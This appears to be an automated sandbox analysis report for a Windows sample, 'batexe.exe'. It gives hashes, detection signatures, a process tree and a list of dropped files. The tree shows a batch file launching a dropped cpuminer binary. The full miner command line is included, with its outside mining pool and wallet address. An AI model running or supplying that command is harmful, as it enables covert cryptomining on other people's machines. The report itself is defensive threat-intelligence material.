73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
297s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 06:15

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4344	b2e.exe
4236	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4236	cpuminer-sse2.exe
4236	cpuminer-sse2.exe
4236	cpuminer-sse2.exe
4236	cpuminer-sse2.exe
4236	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3044-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 4344	3044	batexe.exe	73
PID 3044 wrote to memory of 4344	3044	batexe.exe	73
PID 3044 wrote to memory of 4344	3044	batexe.exe	73
PID 4344 wrote to memory of 2600	4344	b2e.exe	74
PID 4344 wrote to memory of 2600	4344	b2e.exe	74
PID 4344 wrote to memory of 2600	4344	b2e.exe	74
PID 2600 wrote to memory of 4236	2600	cmd.exe	77
PID 2600 wrote to memory of 4236	2600	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Users\Admin\AppData\Local\Temp\A46E.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A46E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A46E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4344
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A950.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2600
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A46E.tmp\b2e.exe

Filesize
1.2MB

MD5
7b0f4c1d8506067fce25df5de733bcb7

SHA1
053b618c2012c6895e9709696395951acf15c165

SHA256
dd9a3eca69a73709146ebc228a433e0fef43ab6c12c2280725d798c7b494216a

SHA512
45ca44d04c436082073475b0bec73cdd3df1f0cc670d9a3d5dd77fc2b3b60ef870af5912d27269107222850b07234060eefb2d272b96de1367ff544cac506618

Download Submit
C:\Users\Admin\AppData\Local\Temp\A46E.tmp\b2e.exe

Filesize
1.8MB

MD5
f51fe7ed64e17eb639e2b77a503596fc

SHA1
9de36c8a5bd8a21c006aabe8c222294852a802f1

SHA256
706fdab761081f7c0cbe20066009c226b25636178215be354891409ae09eecc7

SHA512
ffd4c6f3d081da80edc1bdcc52052d9965c854f7f4fe83e655da803a0fc5f9c261219ec8e12b45ba432cec0d740d314e2be5700a592e581b9f057bccfe516fca

Download Submit
C:\Users\Admin\AppData\Local\Temp\A950.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
ff7f0c87f4cec82262252fc217a41b53

SHA1
eafff286d3c78a670609ad24af44dd407cb860c5

SHA256
1f34021d1502d413cf44e1831dacd426f60ac2564dfcf0c2a3092064887d9de0

SHA512
5231d159d724f4067b2b5a3257795672f71ae338d3fdae9dc77b568725474cdf4b83292526a5b9c270118d71e5391421674a12cedd31ef4834279554f5f66308

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1008KB

MD5
6fdfed8782af3bb34c25a298a8731646

SHA1
18f5bfa8e4b2eab2bfb49c774b578e2d180c50b2

SHA256
3f8393032cf60a1e8f48c59e9c501960ccf257e4be819a3d567dfbae13200d6c

SHA512
18175859a79b7a88a05b9e3e6f71bbe1121c678a2cc68fa4c4aa2bdbeafa9b974dcaf8c78aa3c54e1bc26e8bf6ece6a77478a9cc897ae2d6c410db6aaa6e5e41

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
94006d04e2158457281220e91cdff5ad

SHA1
434bdac76e7a03629b4fbe1c9988a9108aeeba28

SHA256
673e43ce86865554ae67249ecddb5f2537992adccaf7d2c4680e1503c181d32a

SHA512
3cd354098c19998d0e4a80b7c55280365b71a71254911ff0d151a768bbfbe3e1b116b54b46d9e3aa09caaa41e87de6db2268a6f7ff8f5e54315a07a0447b7dd0

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
d116fc19e631236860c12ae721424dae

SHA1
0a76443b4f12e1dbbf06f6a1a2bbdccae43917ab

SHA256
d2ede059bf212c8e07eb87138542ca4b9a323e994e2159e3ef033e86a5888db8

SHA512
197eab77c759522379337ec155a04b96f4305734b2a70513366496b45af0272480a750839ff37de8242fb715085717398165993515257cc637665cd81bc16f93

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
b7715885873d9590dcbdfe3df1fee2b6

SHA1
c86cf0f7a7bdbb990c0dc01054d3a02ae39646fb

SHA256
8242ee704d0f3560642d3c94318f49119dd183310e5def4015b206439ab0f5f2

SHA512
f14857ac5548ff9fb8ee8e17057f017245e02a0159d676de819e221eb94c824e9b48adc6a36b9c53b0ac3892263a6c1df043445d5efbf068715a8db658496bf6

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3044-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4236-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4236-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4236-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4236-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4236-42-0x000000005F240000-0x000000005F2D8000-memory.dmp

Filesize
608KB

Download
memory/4236-44-0x0000000000F50000-0x0000000002805000-memory.dmp

Filesize
24.7MB

Download
memory/4236-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4236-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4236-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4236-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4236-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4236-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4236-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4236-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4236-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4236-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4236-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4344-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4344-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download